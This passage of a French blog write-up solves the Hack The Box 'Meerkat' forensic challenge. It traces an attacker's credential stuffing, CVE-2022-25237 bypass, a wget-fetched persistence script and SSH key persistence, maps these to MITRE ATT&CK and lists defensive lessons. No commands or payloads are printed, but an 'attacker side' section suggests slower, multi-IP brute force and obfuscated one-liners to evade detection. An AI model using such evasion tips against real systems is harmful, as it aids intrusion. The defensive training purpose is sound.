Ici, il s'agit de retrouver un script déposé par l'attaquant afin d'établir une persistance sur le système compromis. Nous pouvons nous intéresser aux échanges réseau effectués par l'attaquant, qui sont en clair :

On retrouve assez rapidement une commande wget qui a permis à l'attaquant de télécharger un script depuis le site pastes.io. Ce qui nous permet de nous-même le télécharger pour récupérer son hash md5.

Attention : en condition réelle, le téléchargement et surtout l'analyse des outils de l'attaquant doivent être réalisés sur des plateformes faites pour, déconnectées d'internet et du réseau interne de l'entreprise.

I. Tâche n°9 : clé publique SSH

• Énoncé - Task 9 : Please provide the file hash of the public key used by the attacker to gain persistence on our host.

En analysant le contenu du script, on remarque qu'il a cherché à ajouter sa clé publique dans le fichier authorized_keys de l'utilisateur ubuntu :

Là aussi, sa clé est téléchargée depuis le site pastes.io, ce qui nous permet de la récupérer :

J. Tâche n°10 : modification d'un compte utilisateur

• Énoncé - Task 10 : Can you confirmed the file modified by the attacker to gain persistence?

Nous avons déjà la réponse grâce à la lecture du script de l'attaquant :

/home/ubuntu/.ssh/authorized_keys

Passons à la tâche suivante !

K. Tâche n°11 : MITRE ATT&CK

• Énoncé - Task 11 : Can you confirm the MITRE technique ID of this type of persistence mechanism?

De retour sur le framework MITRE ATT&CK, connaissant déjà ce framework à force de l'utiliser, je retrouve facilement l'attaque en question :

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons découvert que l'attaquant a opéré au préalable de l'attaque une récupération d'identifiants et de mots de passe valides par un moyen inconnu. Il a ensuite effectué une attaque par brute force avec ces identifiants sur l'application BonitaSoft en exploitant notamment la CVE-2022-25237 pour contourner les protections de la page d'authentification. Une fois authentifié, l'attaquant a déposé une backdoor par l'intermédiaire du site pastes.io, puis il est parvenu à ajouter sa clé SSH publique dans le répertoire personnel de l'utilisateur ubuntu. Enfin, il est parvenu à accéder en SSH au serveur compromis.

Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1589.001 - Gather Victim Identity Information: Credentials	Collection d'identifiants valides concernant l’entité attaquée par un moyen inconnu
T1110.004 - Brute Force: Credential Stuffing	Attaque par brute force sur la page d'authentification avec les identifiants récupérés
T1608.002 - Stage Capabilities: Upload Tool	Téléchargement et exécution d'un script par l'intermédiaire d'un site web en ligne (pastes.io)
T1098.004 - Acount Manipulation: SSH Authorized Keys	Ajout d'une clé publique SSH dans le home de l'utilisateur ubuntu.
T1021.004 - Remote Services: SSH	Connexion au serveur SSH compromis

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :).

A. Côté analyste

Maîtrisez Wireshark : cet outil regorge de fonctionnalités avancées que nous n'avons fait qu'effleurer ici, mais les connaître donne un avantage certain et permet d'aller beaucoup plus vite lors d'une analyse.

L'analyse du fichier JSON a été réalisée à coup de grep, mais sur un fichier plus conséquent l'utilisation de jq ou d'autres parseurs JSON en ligne de commande pourrait devenir intéressante.

B. Côté défense

L'attaquant a opéré une attaque par credential stuffing, ce qui signifie soit :

• que les utilisateurs ont été piégés par un phishing préalable à l'attaque, auquel cas il faut améliorer la sensibilisation des utilisateurs
• soit que les identifiants ont été récupérés sur une autre application compromise, auquel cas les utilisateurs réutilisent leurs identifiants entre les applications, ce qui n'est pas une bonne pratique. L'implémentation d'un 2FA peut également être recommandée.

La compromission initiale ayant été réalisée en exploitant la CVE-2022-25237 (authentication/authorization bypass vulnerability), il peut également être recommandé de mettre en place et d'appliquer une politique de mise à jour (directive n°34 du guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information).

Le fait qu'un serveur ait un accès direct et non restreint à internet est un danger certain. On voit ici que l'attaquant a pu importer des outils, des scripts et sa clé publique très rapidement et sans contraintes particulières. C'est pourquoi il est recommandé de limiter au strict nécessaire l'accès à internet des serveurs.

L'exposition directe du serveur à internet et notamment de son service d'administration (SSH) apporte une porte d'entrée supplémentaire à l'attaquant. Après avoir compromis l'application web et ajouté sa clé publique dans les authorized_keys d'un utilisateur, celui-ci a pu se connecter en SSH et se servir du serveur compromis comme d'un rebond vers le réseau interne.

L'ANSSI recommande dans la directive n°23 de son guide d'hygiène de "Cloisonner les services visibles depuis internet du reste du système d’information" pour limiter les possibilités de rebond. Il est également recommandé de ne pas exposer de ports d'administration directement sur Internet, mais d'y accéder en interne, si nécessaire après l'établissement d'une connexion VPN.

On peut également noter que l'utilisateur qui fait tourner le service web ne devrait pas avoir les droits d'écriture dans le home d'un utilisateur. Dans ce cas, il peut être recommandé de vérifier les permissions d'exécution de l'application web sur le serveur Linux compromis, par exemple utiliser le compte www-data et s'assurer qu'il n'a pas de droits d'accès trop permissifs en dehors de ses répertoires web.

Je vous recommande vraiment de vous intéresser au framework MITRE ATT&CK, il permet de rapidement catégoriser une attaque, la définir, mais aussi d'obtenir des informations supplémentaires sur les outils pouvant être utilisés, des recommandations, des informations pour améliorer la détection ou identifier des groupes d'attaquants (APT) en relation avec une attaque.

C. Côté attaquant

Pour être plus discret, l'attaquant aurait pu étaler son attaque par brute force sur plusieurs heures ou jours, potentiellement avec des IP différentes. Il est en effet plus difficile de corréler des évènements sur une telle durée (à moins qu'un filtre sur l'IP du serveur ciblé soit appliqué, mais la taille des fichiers à analyser doit être conséquente). N'étant pas moi-même analyste SOC/Forensic, je suis preneur de vos retours sur cette méthode :).

L'attaquant aurait également pu procéder à des opérations ne nécessitant pas le dépôt de fichier sur le système avec des commandes en one-line, pourquoi pas obfusquées. Le fait de laisser ses fichiers/scripts indéfiniment sur une plateforme publique facilite également la compréhension de l'attaque et pourquoi pas l'identification de l'attaquant. Cela apparaît toutefois comme réaliste dans le cadre d'attaques en masse ou automatisées, toutes les machines compromises retrouveront alors les scripts et backdoors sur un seul et même point.

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Meerkat first appeared on IT-Connect.